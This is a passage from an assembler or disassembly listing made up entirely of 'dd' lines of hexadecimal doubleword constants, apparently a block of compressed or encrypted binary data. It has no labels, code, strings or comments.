dd 0E84AC2F8h, 3E16019Dh, 0DE9679Fh, 0F0530BFAh, 0C0514E2Fh
dd 0A8054863h, 8A6B80BFh, 0ECAB7784h, 0EB965B05h, 12A53721h
dd 6980EB03h, 9BB8B70Fh, 6B4CFB28h, 6548931Fh, 5840924Eh
dd 265F74DCh, 9E420B5h, 9CF5CD2Eh, 0EBD997ACh, 8BFC1A34h
dd 43B308E5h, 0EE51550Ch, 52251CB9h, 4C75C015h, 0E0D139CEh
dd 0A0E487Bh, 20054963h, 549F5137h, 0A6D1BD89h, 246C2904h
dd 0F7B867C2h, 4495E8C6h, 80744024h, 1BBEC23Ch, 8410F8D7h
dd 4170B7B4h, 357283Bh, 0DF5CC1E6h, 0C004EF1Fh, 85A127FAh
dd 7E5EB9CBh, 0ECF5B627h, 9EC3273Bh, 965DCD9Ah, 43EB430Eh
dd 35E90B90h, 0BC790C3h, 7CF99553h, 7A39EBEFh, 0F3F606B6h
dd 0C375244h, 0C157A38h, 0D4F72971h, 0DF9FCBA5h, 4E314687h
dd 0E4A5FB4Fh, 57128C8Dh, 0B65648h, 66B152ADh, 2EDBE0BEh
dd 18F086Dh, 140F2C2Ah, 0B842DA01h, 0AF5D0804h, 0EF835607h
dd 0EE2E7FE9h, 0B14A3CC7h, 2C18E921h, 0E2D11DC1h, 9EB7713h
dd 0EE5963D4h, 568A63AEh, 0DC4BEDBEh, 4481421Ch, 0FEF1B0D5h
dd 0A76897D0h, 0FF826F4Bh, 2F5C2199h, 15FD7B95h, 0F35E241h
dd 317A77EDh, 6F45235Fh, 416376CCh, 7B916BF7h, 57009B92h
dd 73138E68h, 1AB0B8Ch, 122D62C4h, 0D7AE203Dh, 22010C12h
dd 59868E02h, 0F26360F1h, 7E0EEE70h, 2DD74CE4h, 0CE007122h
dd 1EF80DDDh, 9D06E6C1h, 238E2581h, 49817B7Ch, 0E77D9FAFh
dd 5A6A1215h, 0F25A3348h, 0EE642FD7h, 1E927C5h, 0B7B69F70h
dd 91FC240h, 0C99A20Dh, 98B61EEFh, 4EE6580Eh, 5C0D23Bh
dd 0AC739100h, 433E2D2Ch, 27767F7Dh, 7919B531h, 8581E856h
dd 0B9D4B8B7h, 61350E09h, 132496Ah, 343A21E6h, 7A74236h
dd 35CCE0F5h, 0ADDE179Bh, 58A2050Dh, 9221AF05h, 401CF62h
dd 2CD8C0B7h, 0F876ECE9h, 0A3C22AB4h, 835E0B7Ch, 14DDC64Dh
dd 5925E67Ch, 91529744h, 35437DFEh, 0D380B94Eh, 0D0C2B30Fh
dd 325B0502h, 0EDC87021h, 627A0340h, 3B94BF0Eh, 20A136BBh
dd 0DC05A43Fh, 33FF3810h, 7060833h, 0C764F0E7h, 0E91A0574h
dd 0DF5AA8E6h, 6AC67412h, 9D4C3820h, 0E905D24Dh, 91BD8B67h
dd 4A4BAFD7h, 6616E1C8h, 68985B69h, 0FE37EDB6h, 743B66CEh
dd 616861E0h, 9018794Fh, 79070688h, 75C03550h, 16D03744h
dd 482770E4h, 0CF128768h, 1CAFBBE9h, 55012951h, 4A2D3C80h
dd 0C463EB06h, 3800D08h, 0E149F3BBh, 108C90ABh, 89080571h
dd 0CD18F563h, 400818E0h, 0BA61824h, 4C3608C4h, 476E804h
dd 0BE0478DDh, 349E048Eh, 481A004h, 29062363h, 7D3150EFh
dd 7A2F08E8h, 0F73D1888h, 8AD9008h, 270C6A92h, 63A3083Ch
dd 81A218F0h, 21070831h, 750147FEh, 3A5B015Eh, 0E064109Fh
dd 31205A20h, 0EA081828h, 9D1888A3h, 6DBA0821h, 0C3F91B18h
dd 302E80D6h, 0FFEF10C4h, 413AE04h, 3204D840h, 0C9CE040Ah
dd 8FA7F06h, 29200EA3h, 86F920FCh, 803CC31h, 8E03625Bh
dd 0C6E1F110h, 0C1293731h, 4D820187h, 1543F01h, 1088394Bh
dd 552CBC5Fh, 76F11031h, 95BAA101h, 18D00408h, 5104D98h
dd 0CEA08009h, 0D1883881h, 0FE08316Eh, 32E90850h, 884430Ch
dd 189E65DCh, 2CAC466Ch, 0E22008E4h, 7E8420F1h, 31615620h
dd 0C738177Fh, 40F5017Ch, 1A4E108Ch, 41405A08h, 20E66376h
dd 819CA42h, 9A184FCCh, 40830424h, 9D406593h, 0C35940D9h
dd 6F2F21C4h, 105B5F06h, 0F0F59051h, 8C43E01h, 0CE047192h
dd 448C0434h, 61356E06h, 0AB0888EBh, 0DA640C33h, 0B9C868D9h
dd 69E40C7Bh, 5F625010h, 7F6EC08h, 720CCCBh, 9409576Ah
dd 19947588h, 24D8496Ch, 10929F70h, 3054E137h, 0C588C82Ah
dd 0FCBD08D4h, 8900108h, 0B7099752h, 0DE0C26BEh, 63033308h
dd 28321661h, 0A2953919h, 4B749F88h, 295910D4h, 82131065h
dd 0C03BB115h, 6EE08078h, 80377180h, 10C6DB31h, 6A08FB21h
dd 22F0AC5Eh, 80704994h
dd 109A0110h, 35188F7Ah, 0C1580873h, 67C218C4h, 1BF0B90Eh
dd 182991D3h, 102E3AD9h, 8C68BF7h, 621885F3h, 4C6A49FAh
dd 6795602h, 482099BAh, 0DFF20BBh, 2CB46654h, 131099FBh
dd 40244639h, 90CB54D6h, 3909D8F2h, 0B58055FCh, 341B816Eh
dd 19C6298Ch, 0A8991405h, 269C6068h, 49A4E8FCh, 0C9EF4281h
dd 8B2E9648h, 0E1183FE8h, 473B1045h, 2752C03h, 1B8913EBh
dd 3DA7B90Eh, 1100AFD5h, 0B49408Fh, 847551C9h, 0A0C7E561h
dd 4BF003DEh, 33E847B9h, 0B10F80C0h, 2CC1304Fh, 38EDE9ACh
dd 0A7BA2281h, 701E400Ah, 33C97ABh, 0B5E45BDFh, 5C12B885h
dd 0A3016E3Bh, 0E972431Eh, 0D1887430h, 0C5D3519Fh, 18CFAA01h
dd 2FF16824h, 3403B7Ah, 1D71975Dh, 9221642h, 6C909580h
dd 4F5F3AA7h, 127879ACh, 0FE33361Bh, 0BC954C04h, 76D40500h
dd 85F42DBFh, 0BB143F60h, 7AFC0F43h, 0B3E2202Ah, 8C40F99Dh
dd 0BFAC2546h, 9953560Eh, 86FAEF2Eh, 972CC923h, 0C0756FC2h
dd 0BE3C2F0h, 5B569C68h, 0E9064574h, 0B05561F0h, 64CAF073h
dd 0C3AE7945h, 0DDE07222h, 0C0B5215Bh, 9024CBEBh, 0C1593CC2h
dd 0E31F61DCh, 30C30105h, 2B6D6411h, 2DE96BF0h, 90F9872Ch
dd 6454578Fh, 7FED26D2h, 0A31B2907h, 4190B248h, 0DA66D0D6h
dd 7393B297h, 6F9DF4D1h, 0FEE9EA30h, 329D7070h, 11CAC1D5h
dd 0ECC75D87h, 0B22BF70Eh, 6802A34Bh, 0F5CCFF31h, 534E1C01h
dd 21D1E962h, 0E1C85CB7h, 0ECD7DB65h, 51C06BFBh, 0C83625E6h
dd 0EB01B740h, 6A3A5256h, 0F63D6CB1h, 0CD80EB92h, 0A9A4E958h
dd 21D85CCEh, 0A0E895D0h, 0F7806608h, 0AE4760DFh, 1F651ABBh
dd 8240B2FCh, 8EB90451h, 0B9336B55h, 34D20771h, 0D18740E8h
dd 0BC1AE975h, 591D41E0h, 0BF4775E0h, 2D1D87E4h, 6B1D21B3h
dd 0C302F45h, 0A305F1F0h, 1112AD07h, 502CC9CAh, 0C603984h
dd 2C1835Ah, 0C22072CAh, 800B3C91h, 77F332EBh, 0BAC3023Dh
dd 5E2E6AE9h, 0B0CB87E4h, 4477A331h, 0D8284207h, 7493EE2Ch
dd 4B26735Bh, 0B10AAC57h, 0B80559C0h, 389863C4h, 0A0445F42h
dd 0E706C127h, 8B221F09h, 13EE2033h, 8835040Ah, 0FABC4EC6h
dd 0F0282F0Eh, 8FAE922Ch, 0B2186153h, 3250D2h, 0F644B3C6h
dd 0DC88A613h, 8133FA3h, 0F93BA5E2h, 29D7A797h, 3BC774BEh
dd 76BABDE0h, 717AFE09h, 143AA034h, 2CBCA4BBh, 5AFF3618h
dd 2782620Ch, 5588E88h, 0F997687Fh, 7B25BD91h, 94A50476h
dd 534604FEh, 0EAAA1FE9h, 0F27F0ADDh, 0EFACD629h, 165709A5h
dd 7D5E6329h, 0D42CB909h, 0FD35E20Ah, 0BB2B00Ch, 29426820h
dd 88140F8h, 3D752E5Ah, 739CB701h, 8C791B2Fh, 0FAA92785h
dd 207D4FCBh, 5C5E0AE8h, 0D4C999ACh, 555E77ABh, 0C0FCE578h
dd 2DD9EBA1h, 0B19052BCh, 9121D81Dh, 0CEC82997h, 0AE424A08h
dd 0BF48E72Bh, 39DA5F25h, 63A09EC6h, 0A9EE042Dh, 0F57A8D7Dh
dd 0E9080185h, 3F822509h, 1DB84BC4h, 42E1BEC7h, 0D15D260Bh
dd 97E4A759h, 0C9E9F33Eh, 92C4899h, 1001128Bh, 2EB85097h
dd 0DA3CA0h, 9E728E25h, 0D53B350Ch, 0B24A73Fh, 605AF0AFh
dd 61F1AB16h, 30133B2Bh, 69FEC821h, 0A806149Ch, 1BA41397h
dd 0CF039A52h, 443E507h, 192D7F0Ch, 0A96CC012h, 6E5B952Eh
dd 0E2042EB9h, 0BAAE2BA2h, 0B6BC1E17h, 0ACFC502Dh, 0E914F84Eh
dd 0DA34FB17h, 0E81B4111h, 0AC480ADh, 0F5F8D6F6h, 709D4872h
dd 3E799410h, 0DF1E5E89h, 63C881D8h, 950DB836h, 71228200h
dd 0A6C10E90h, 48D50E8h, 82A6B12Fh, 57F54ACh, 0C9CF201Ch
dd 7060C473h, 2BBE781Ch, 0B831674Fh, 1468215Bh, 0B276354h
dd 5C38428Fh, 48A4C26Eh, 35354DD5h, 7660AA20h, 9A012FBDh
dd 0F88980E0h, 0F8734A2Ch, 2FC83B8Ch, 0C004FEA6h, 881BB652h
dd 9AD7439Fh, 1AA5C18Dh, 0F717617Ah, 9E663D2Ch, 0B0073089h
dd 0D435DD22h, 33008A7Ah, 81617F67h, 6D7A7EE1h, 0C6E91B0Ch
dd 772C32DAh, 0C33A2D6Ch, 0F2A0E35Ah, 8B284BFFh, 83FEB41Fh
dd 504E1060h, 7C2823B0h, 0F9884AC2h, 545613EDh, 0CBB791ACh
dd 0BF279304h, 58ECAE8Ch, 52C006E2h, 15076FBAh, 0E9FC144Bh
dd 782E0E00h, 62BBD55h, 5C100425h, 52761CDEh, 171CAA1Ah
dd 5751EAC0h, 125B4D68h, 95F7792h, 0EE55231Bh, 7AA2B41Fh
dd 465EE07Fh, 345C8274h, 0D4B6E00Bh, 630A8183h, 0E835411Ah
dd 27B8DA58h, 595FC775h, 20B25CFCh, 11F0D4CCh, 60E1324Dh
dd 8D4503CAh, 0E7C981Fh, 41DF7273h, 0C357E5C5h, 0F5E03F74h
dd 0BA7C46B5h, 0D6A8E915h, 0A8F326C5h, 0CC3EEB01h, 0B09F5E77h
dd 0C2662719h, 32D6FDA0h, 16E573BDh, 0BCACD42Dh, 0C63503CEh
dd 0B772FA71h, 0ADC27590h, 0EC569721h, 41F6023Eh, 7D5953DFh
dd 0F301DE94h, 386203A5h, 347A7A68h, 89C112CDh, 46C1011Eh
dd 5884852Ch, 2675DE28h, 84B9F15Fh, 12D6851h, 9B7978Ch
dd 0A49FE93Bh, 8BD58CA5h, 8BE04FE7h, 1C984DB0h, 0F580DD00h
dd 50C5FE84h, 16BFB42Eh, 0D6FD0E14h, 14084709h, 0D231240Bh
dd 2103134Eh, 80149FBBh, 552DE863h, 0B22B224Ah, 3051B06Eh
dd 0EF479644h, 183D2A6Bh, 6F40A405h, 6297B881h, 65EC353Dh
dd 87595023h, 0B09485Ah, 7D6DEED3h, 0BB53E880h, 68330F44h
dd 37F0E92Eh, 927F48B1h, 2F69DACh, 62E42E25h, 25BA4C57h
dd 0EA71C775h, 5E277924h, 892B520Ch, 877D1D72h, 0A0614C9Dh
dd 6083056h, 97E935F7h, 0B5F452D7h, 67F27207h, 9AC2CD29h
dd 5ADC8028h, 91598268h, 0B712BF08h, 908462D2h, 4ADF184Ah
dd 239CFDF8h, 9B95949h, 0F273DA60h, 0D2FC0727h, 9901039Eh
dd 0C4E0AFFh, 0DB6A4799h, 8B3059FAh, 0B3D584EAh, 59B2E7A8h
dd 9CAE561Ah, 2610C945h, 62EAC17Fh, 8606BE2Ch, 8D0F6C7h
dd 0A67DD89Dh, 9228506Bh, 1CB5A68Ah, 0C230C780h, 0FD882AF7h
dd 0C0811751h, 0D5F608E5h, 24684820h, 0C770199Ah, 0D0CFC17Ah
dd 36882EFh, 8109F4E9h, 0DD2966A6h, 861160CEh, 0EBC6CF79h
dd 0F3145D6Ch, 8C6CC83Fh, 2C2B102Dh, 16577FD8h, 0B236EEBFh
dd 0B5882CC2h, 320D1009h, 7FB5003Bh, 0FE20B148h, 89445279h
dd 9713541Fh, 0FB600B07h, 0E5C4AED7h, 32E248EFh, 89D1FD5Eh
dd 0DB61DDB5h, 0F5AD2B0Ch, 647FB7A2h, 67DB774Eh, 0FB7D9CD5h
dd 0D359EBB8h, 0FBD6A295h, 0AEBB00F7h, 0CC7A3AC0h, 0E07E25EBh
dd 2C3D08E0h, 5DB1197Dh, 0C83E3485h, 14507A09h, 9D1C35A6h
dd 13FD0A88h, 0D990C4CFh, 4B27268Eh, 8E92515h, 5A161C02h
dd 31816BA2h, 3F4FE9C3h, 5D2C9FD2h, 86491F4Dh, 4A632778h
dd 0E00BFC55h, 917A0168h, 0D510BCA3h, 184A4C28h, 0ED5D8FCBh
dd 97140961h, 0C405017Fh, 58FB4E42h, 0E37D91C4h, 89F83F84h
dd 0E4514434h, 0DB0C9F7Ch, 3A080F12h, 2831390Bh, 0B646A1B8h
dd 7F077A5h, 8944C93Ah, 5AD331h, 0BD72AB41h, 36CA9F15h
dd 0EAEB715Fh, 1E3A00E6h, 0F3E93325h, 8928C49Ch, 0A75FE197h
dd 0B5EEE2ECh, 7BC37F49h, 58172BDBh, 0A2AE4491h, 85CBBE2Dh
dd 5A4DE909h, 107FE4ABh, 97F6D596h, 65043A96h, 567A2520h
dd 0F2C128A0h, 0E9060C9Ah, 0BA269D54h, 8D07580Ah, 0A0058549h
dd 0C504F647h, 5E0BE32Dh, 590C7B71h, 437A9FDEh, 137B506Bh
dd 401E0E0Bh, 5A15F31h, 2A0102DEh, 2A87E620h, 254A7DE1h
dd 47735C50h, 696D4202h, 1B60091Fh, 963B92C2h, 89EE3BE0h
dd 92A7B43h, 5C632BE8h, 317FE9A4h, 87524E86h, 1E66C066h
dd 0BBCBD2F3h, 33A74089h
dd 2BC00342h, 129FF856h, 0BABB61D7h, 4CD410A7h, 35C384CFh
dd 0CBDB000h, 0C04EFE63h, 1BF966C7h, 584ED8BFh, 0E7DCC147h
dd 424BEE56h, 503A5A0h, 4E43C0ABh, 2DF02801h, 0AA48007h
dd 975BFE21h, 0E9174ADAh, 76AB20DCh, 5F128C63h, 0DDB0EFC1h
dd 4F18C04Eh, 2B87E781h, 427AF3Bh, 3656EAF7h, 75EFE580h
dd 348027CDh, 6BE7B070h, 0B6EE6894h, 3DEB93BEh, 0F9996EF5h
dd 9F02E9F4h, 0C4977794h, 0F6D8826Ah, 2F7069AAh, 973DF0DCh
dd 4FB4720h, 88066BEFh, 645A915Eh, 0C4F69BC0h, 76522D4Eh
dd 75E9DF76h, 1A18C263h, 0DBE802B6h, 6BCA2D44h, 6A776C1Bh
dd 51C73612h, 7DED2F00h, 90455F9Bh, 7CCA38E0h, 48FC0D25h
dd 54CF8798h, 0EB344E8Bh, 0C321BC3Dh, 912FC435h, 6FF7A61Eh
dd 8954368Ah, 0DF192CCAh, 0B35C1768h, 720C4174h, 61F9420h
dd 55A771C2h, 2B5F0CA8h, 8533563h, 5E5BA209h, 1FBAFD49h
dd 328B0C09h, 1CF7E242h, 0F4BA20C6h, 0BD27498h, 0FCE1A892h
dd 4BA0BF6h, 2640BE77h, 0D8DDF7h, 0DF1C5973h, 1D4AC5E9h
dd 0C6D38C1Ch, 62B22CFEh, 24ACD94Fh, 0E4D76980h, 7926E505h
dd 0F0B3F0Ah, 59A8103Dh, 29DE4C29h, 0D0AC2C16h, 2219D82Eh
dd 0CA4A1F7Eh, 35E6400Dh, 4B855440h, 522B58B1h, 585F5204h
dd 621C9977h, 0AE513CA4h, 4163AC01h, 0C2A90D9Bh, 0F0355958h
dd 83AB398Ch, 2E0C68E0h, 80565197h, 73F60BAh, 0C258E974h
dd 0A1EF802Ch, 9F517861h, 2830F94Eh, 0D9F77633h, 0DC30F183h
dd 1C880EE1h, 0C1C015D2h, 55A249A3h, 10485148h, 0B05E7536h
dd 3F4EDF44h, 6784C9B2h, 6A8CEBECh, 697976E0h, 0FF822177h
dd 0E9D19CF7h, 0DA465EACh, 8E6813CFh, 78E88C7Ch, 0C9202D41h
dd 699B0FEDh, 0C862FBBh, 0C4BD28F6h, 0F3952057h, 7BF7BE02h
dd 414E1361h, 77D8FB95h, 1BE91059h, 39803B8Ch, 3AC19CF4h
dd 748D91Fh, 0BE560082h, 0B2B70B21h, 0AB41AD90h, 30FFA52Ah
dd 4EB953D9h, 0D38F9A0h, 7995703Bh, 1794A8F7h, 0A1E414Eh
dd 41C79E9Eh, 0E95422EEh, 0E6AE3058h, 0BBC0E6B1h, 9942864h
dd 7EBC168h, 2813250Bh, 1306E3CBh, 0BC4BE49Dh, 4FE009E0h
dd 510D28D0h, 0E9080064h, 3CCE3116h, 7532C4ACh, 20445C88h
dd 0CB329B36h, 347FE59h, 0B7BAD731h, 32819ACAh, 8B3D6237h
dd 26174F24h, 20F8E5A5h, 0B72E025Ah, 0B30E33A6h, 7CD80B73h
dd 0F73B423Ch, 31A6C00Bh, 0E0F58271h, 0DF392F13h, 0C706568Fh
dd 0AFB4B416h, 63FBB8E4h, 76B5168Bh, 5043BBE9h, 0C8CAF5A2h
dd 95BC623Dh, 758E3DC6h, 45EE8012h, 5D0D5504h, 60D8F707h
dd 39980EAFh, 0E46076F8h, 3592C645h, 31232778h, 0B131274h
dd 0C95A174Eh, 57242B8Ah, 5FFDD7B0h, 1539D39Fh, 0D35E9BE7h
dd 0D358C58Bh, 80400AB9h, 8609BCE7h, 0E69C57F9h, 37685307h
dd 9649406Fh, 6FF86BCh, 13C06D7h, 0F50B9250h, 407C6D5Dh
dd 16C321FFh, 0AA7F7EE9h, 0FACD1C28h, 8B675FA2h, 1ABC5221h
dd 2F82EC3h, 0FA13CEE9h, 89D204FDh, 0EE2915A0h, 0AD4E1CE3h
dd 0D1E077F2h, 0D555026h, 88662017h, 0FDE5B7CCh, 844C59A7h
dd 0AA010660h, 0E868E620h, 0C894BF3Bh, 26A58B77h, 206D6805h
dd 0B04BA1E3h, 0D169F9Ah, 2CB86460h, 0C02E2CD6h, 4FFE9086h
dd 4B7CB3F4h, 27468E00h, 9053AD7h, 4E53041Dh, 801D0575h
dd 0EB60F3A1h, 52E56830h, 69415ADFh, 0BA062BBh, 8307746Dh
dd 0B120E223h, 0B17F0541h, 0CEF26113h, 470B8208h, 0AFEB591Dh
dd 0B94333D6h, 38F6F994h, 5873E27Ah, 425D05AEh, 0C3C34B08h
dd 0FC6C0404h, 0AC035675h, 29CA00DDh, 0E969C272h, 39C76F1Ah
dd 0A6522001h, 0D6FCEC19h, 92D151B5h, 122DF88Dh, 0C6BC3C33h
dd 2A7048A1h, 0E442C31h, 0CD81C08Eh, 6D3F56C2h, 4817D460h
dd 0CC27C52Ch, 0EBF0E906h, 94C29DE5h, 86749EDDh, 5C1ABF37h
dd 0C468E101h, 5C8C7F13h, 1BEF595Bh, 0B91F3404h, 0EBACC12Bh
dd 0DFD53006h, 3BCF3180h, 25FA8759h, 8F202A4Eh, 70337928h
dd 86A04F64h, 0BE8847C8h, 0C8310E06h, 0C28DD04Eh, 0DDBC3B08h
dd 0E25A794Ch, 0D2AFD25Ch, 9478662Dh, 0C0684A60h, 0A1784C4Dh
dd 34C0CED7h, 90E9123Ch, 0CC11B4F8h, 0C3C72162h, 0BF70A33Eh
dd 0C077EAFCh, 0F47AC763h, 0B05E624Bh, 19CC5984h, 0BD97EF09h
dd 2F0B5DC1h, 5FC5AFFCh, 215DF490h, 0C9B9DED0h, 0AB5A185Ch
dd 3E6DF920h, 8E981AB7h, 0CBE0E10h, 4C576400h, 15CFF681h
dd 0BA055146h, 0FA88173Eh, 720A4A60h, 41634CC9h, 368DFA02h
dd 0C9F5019Ch, 3A395F84h, 57215CE0h, 0AFCB6AF7h, 71C8BE18h
dd 3139FFC3h, 9D936CBh, 15E9FEF2h, 0E0011EEEh, 61294D12h
dd 2403F812h, 8A01F251h, 6848AC4Eh, 1F3353C9h, 0F3BB0F76h
dd 94D2B576h, 0C109AA8Dh, 1DBF20D1h, 95318758h, 23B5B87Ah
dd 0F2E95736h, 82096A38h, 55806DD9h, 5A9287C7h, 5821CEBEh
dd 0F53C11Ch, 5F604B7Eh, 0F576A05h, 6E002AAh, 0C0632BB5h
dd 0C14D07C1h, 510CBF29h, 141CA008h, 0B0FC584Bh, 142026C4h
dd 305C00D5h, 0E5C16D9Dh, 50D09703h, 0FEFBE380h, 0FB0EEF26h
dd 0FC5F16h, 8430E24Eh, 23BC11E9h, 15BD5501h, 700A0F2Ch
dd 26C2B4A9h, 0C028F2B1h, 8242C28Ah, 2E44E7D0h, 58EA05EDh
dd 895B27EFh, 0F30ED428h, 2EC0145Ch, 6918D7C3h, 5C1C3018h
dd 0F710F828h, 0DF4A38EEh, 603CA1E0h, 0B6E12657h, 4F764535h
dd 41ACC104h, 81BF59CAh, 3D161D74h, 924316ECh, 0D2687ED1h
dd 0D982F42Ah, 50144BCh, 7757187Ah, 7C886080h, 0F1812FC1h
dd 3766BB05h, 0F00B4952h, 5F8366D9h, 6810035Ch, 531A5F6Ah
dd 5FF91832h, 552C776Dh, 2996BF0Ch, 10F60FB8h, 99644BC8h
dd 0A203D8F1h, 4516C16h, 0BEF7FA0h, 0A54247F3h, 6E5422DDh
dd 0A968012Fh, 0C5712C5Dh, 0B0A3D3CEh, 62685201h, 0C8EF5AC1h
dd 0E925D629h, 0FDA4E27Ah, 9AC94BC5h, 0C4365692h, 6AD3A133h
dd 0F4A28252h, 0EF492EC6h, 3FA2699Dh, 5B260B3Ah, 0BEB38F96h
dd 52032124h, 5F1FC5E9h, 0D21E0466h, 8943911Bh, 5D802BDDh
dd 0B74C315Bh, 0E895F671h, 9ABF00CBh, 2928D908h, 0FD4CC9EFh
dd 0CF1DAC7Ah, 0B1680E4Eh, 2EF10C3h, 4ABEC96h, 0BF20DD12h
dd 0E6BBCE74h, 0C5F0425Ch, 30BB5659h, 0C78957C0h, 29DFEE4h
dd 7DD7686Ch, 173F1DE7h, 39AB1292h, 2063F850h, 488F016Bh
dd 2968594Fh, 89FE2978h, 9A095D51h, 0EB0714D2h, 4D9B10C1h
dd 0DCC2C4B2h, 0AADB67C2h, 44C941F8h, 0F3017A30h, 62392A5Ah
dd 57B57Eh, 1B3D6808h, 0A86ABDB4h, 4047C407h, 162F6F9h
dd 0ACBE2D02h, 35A56A6Dh, 4A12ED40h, 0F45C4B25h, 0D9EB45Fh
dd 9DCFEC2Fh, 0FACBDB59h, 87F65F98h, 8E081E9h, 15442755h
dd 48BFC9E4h, 6417004Eh, 602D278Bh, 4AA10541h, 1005E801h
dd 507D9207h, 5221A826h, 813F44F1h, 77C58F02h, 0EEA051B0h
dd 46BC261Fh, 4E5B4FFAh, 20C212CDh, 1A88C201h, 7865CA9Fh
dd 91691EEh, 3AF5EA6Dh, 589C7679h, 972F3619h, 0C06BCB7Bh
dd 12F4D4E5h, 206FCAE9h, 0D00BCF46h, 7B2508B8h, 0A693F3ADh
dd 0BBB83B86h, 2A2CEF4Ah, 4B4BA15Ah, 0A151EA72h, 0A2BAC12Bh
dd 926847FFh, 5A915B52h, 0EDF23A5Dh, 0DB7A0D3h, 0BB1EE716h
dd 279D5D04h, 340E3E80h, 124076B6h, 463818F3h, 3AFA994Fh
dd 0E95253B7h, 0AF0C18D0h, 974D51E9h, 92D7CD8h, 5B2E577Fh
dd 0D77A32FCh, 0EB88DCE8h, 16BAC788h, 0FE1A6B37h, 2781F150h
dd 4132C992h, 5012B840h
dd 8928257Ah, 599A277h, 0FAA7AC4h, 6D4B6196h, 0FCCC9F64h
dd 0AE6ACF6Bh, 108BCD45h, 0E5107422h, 2A880F34h, 71290459h
dd 63A928AAh, 2389C14Ah, 6817DA22h, 5F37BF64h, 464FDA82h
dd 0E6B6273Eh, 9BC6A089h, 0D3DD552Fh, 94A5BD41h, 0BC777162h
dd 46E917C1h, 1477A9ECh, 3D8E27EAh, 13073FC0h, 0E344B7F5h
dd 0E28287B0h, 68530063h, 0D326271Bh, 0F30DE82Ah, 76200F1Fh
dd 0DB4EBD97h, 1FC98F6h, 84C552A3h, 5CC4D02Ah, 34FAB53h
dd 0E74B6DA2h, 0E90E61E2h, 0A892EA9Ch, 96621ACh, 0A0AE042Ch
dd 23DA8B0Ah, 0C6468175h, 0CA8BBD5Dh, 0D5B4ED59h, 934F6998h
dd 646C3941h, 0E42E2F54h, 0AD0ECDB7h, 523F4579h, 46FF7B01h
dd 1E200C4Ch, 4BD6129Ch, 2EDDB086h, 13EAC053h, 0D60EC830h
dd 27A6D39Eh, 523BE916h, 0EE8BBAC4h, 210ED412h, 6AD5EBh
dd 0B5F08850h, 0CD80B4C1h, 0E9CEE001h, 5195745Dh, 10CE6E42h
dd 2E43EE27h, 58D9104Eh, 0BF9E72F8h, 42B9C36Bh, 5D2A930Dh
dd 3BA749FAh, 46F513E8h, 751B4F17h, 8C0EA01h, 272832CFh
dd 0DB2E1261h, 0E84A8957h, 8414DD5Dh, 41C991B7h, 0BA85123Ah
dd 5B685268h, 5B4A388h, 2834E953h, 0AFC28590h, 6662133Bh
dd 0FE10AE29h, 0D65F2F08h, 1CFC274Eh, 2BFE5744h, 6CE90B42h
dd 8AABA79Ah, 6039A802h, 0C01D658Ch, 3784EB35h, 0BB9812C9h
dd 5531A909h, 0BD9E0549h, 3675097h, 2A0820EFh, 5B31D6B0h
dd 914308CAh, 2FA75625h, 0C05AB976h, 0BBBC626Fh, 0C5700787h
dd 0FA3112CDh, 0ACA865DDh, 0EED617E0h, 96D1D5Ch, 0F1155E98h
dd 2FDF3838h, 0AF718BDh, 0BD3D7E03h, 6507A3F2h, 0C10D3027h
dd 0B7010765h, 716D7BA8h, 55391E80h, 0BB5303DBh, 0B972C909h
dd 0EE53020Dh, 9194FFA1h, 135EDB97h, 0F18609D5h, 0F07EB855h
dd 54F9BF37h, 31C02D65h, 27E93FC7h, 2AA0FDADh, 1CDB67EEh
dd 7931DC2Dh, 0BA02EBBDh, 8027955h, 0EDB185FAh, 82A999FBh
dd 585BFB4Ah, 6ED07505h, 5E4C0882h, 0A7CB69BFh, 0AC4E8A6Ch
dd 4C4DE212h, 16525A6Ah, 9E4C1C44h, 102D21Dh, 0E311F693h
dd 3E0B2A4Fh, 3095851h, 857543BAh, 0AC92D7Ah, 0D0D92063h
dd 5A070550h, 405A9B94h, 0E2E0747h, 68524B0Bh, 76E370C0h
dd 0D94EFEE9h, 9A79148Ch, 7836A102h, 0AD66132Eh, 3DBAF4B9h
dd 22273F9Dh, 91C0E756h, 3C592CD9h, 4BCFF6CFh, 0C6866B81h
dd 50BC68A4h, 66804415h, 69162668h, 535242F7h, 0C9E87961h
dd 0AE741C7h, 0C7590273h, 5A680513h, 0BD30EF6Ch, 98841BCh
dd 38D2E92Dh, 9BA8145Bh, 5C9ECF27h, 56E56398h, 7CC64325h
dd 431D0547h, 0E5A81D03h, 9945DE89h, 57084Ch, 984283BFh
dd 0E3CDE90Bh, 0CE59CBh, 1A0FF67Bh, 0FC205AADh, 6CF84E52h
dd 51DDE4B4h, 0C035064Fh, 8D9206A9h, 4B13DA51h, 0D43BE8E3h
dd 5519205Eh, 12A5FBAh, 55369606h, 2F54FD16h, 0C40FAF3h
dd 8BF1BC5Ah, 3B5FEDC2h, 13EA7347h, 0B76AE51h, 709A01ADh
dd 6E61258h, 44323A12h, 0ECD2F1F2h, 1ABC96DFh, 0BAF2E716h
dd 10B11F77h, 5B6D0130h, 5287824Fh, 0B6EA1556h, 0C46DC105h
dd 78C5B301h, 56F27962h, 93F75107h, 0A18208D3h, 4B97E657h
dd 0F508C009h, 7B13E536h, 0EFAC0177h, 5B204A31h, 7485DD55h
dd 0DBA88167h, 7F7C7779h, 1500E44Bh, 977349BAh, 1460B56Ah
dd 0C90CF281h, 3E01AA5Dh, 67A4B7CAh, 0CE3DC087h, 5073112Fh
dd 1680464Ah, 91123868h, 4801AD69h, 6B9EE1E9h, 0B97C4345h
dd 76FF0FC4h, 0BC2ED053h, 7AC931F6h, 4C842EE3h, 658052CFh
dd 70864442h, 893D4597h, 35E65609h, 0B484FE20h, 7C0F3B07h
dd 69842B4Bh, 513BCC17h, 9698E5B7h, 0B9E3C05Dh, 13D03BFh
dd 0B5F81640h, 8CBB0134h, 2C55C98Eh, 800B4729h, 684D5407h
dd 4B3DB62Ah, 0ED0BD03h, 82E931AFh, 0E392A0FFh, 7B5525C5h
dd 9235A20h, 935ABE09h, 6D478EB7h, 4D3598EFh, 0EB49B46Bh
dd 62FC1E5Bh, 0DE7BBA4h, 3A55578Bh, 513DC38h, 74627C68h
dd 7D99BE72h, 3F048F3Bh, 53B1ADE9h, 9BB2624h, 795EAFC9h
dd 0BA8C005Bh, 7EAA40FAh, 309E2C1h, 0FAF305E9h, 0CE4720C7h
dd 4AA15D4Bh, 700BD9ADh, 98F55829h, 98F9F7FFh, 444E2FD1h
dd 88A1B53h, 6861D1E3h, 16265469h, 8D406727h, 0C3789D61h
dd 10E4B930h, 0C98F6658h, 2CF0B7DCh, 42A0BB01h, 0DA293EB3h
